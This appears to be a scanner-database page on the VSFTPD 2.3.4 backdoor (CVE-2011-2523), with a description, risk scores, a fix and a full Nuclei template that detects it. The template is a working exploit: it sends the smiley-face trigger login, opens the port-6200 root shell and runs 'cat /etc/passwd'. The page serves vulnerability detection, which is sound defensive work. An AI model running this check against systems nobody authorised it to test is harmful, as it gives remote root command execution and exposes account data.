VSFTPD 2.3.4 - Backdoor Command Execution

criticalseverity

9.8CVSS score

96.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the FTP server.

Fix

Update to the latest version of VSFTPD, which does not contain the backdoor.

How to confirm it

Send: tcp probe to {{Hostname}}
Send: tcp probe to {{Host}}:6200
Positive when: matches in raw /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2011-2523 -u <target>

The full check

id: CVE-2011-2523

info:
  name: VSFTPD 2.3.4 - Backdoor Command Execution
  author: pussycat0x
  severity: critical
  description: |
    VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the FTP server.
  remediation: |
    Update to the latest version of VSFTPD, which does not contain the backdoor.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
    - https://www.exploit-db.com/exploits/49757
    - http://packetstormsecurity.com/files/162145/vsftpd-2.3.4-Backdoor-Command-Execution.html
    - https://access.redhat.com/security/cve/cve-2011-2523
    - https://security-tracker.debian.org/tracker/CVE-2011-2523
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2011-2523
    cwe-id: CWE-78
    epss-score: 0.96184
    epss-percentile: 0.99877
    cpe: cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vsftpd_project
    product: vsftpd
    shodan-query: product:"vsftpd"
  tags: packetstorm,cve2011,network,cve,vsftpd,ftp,backdoor,vsftpd_project,tcp,vuln

variables:
  cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs

tcp:
  - host:
      - "{{Hostname}}"
    port: 21
    inputs:
      - data: "USER letmein:)\r\nPASS please\r\n"
        read: 100

  - host:
      - "{{Host}}:6200"
    port: 6200

    inputs:
      - data: "{{cmd}}\n"
        read: 100
    matchers:
      - type: regex
        part: raw
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from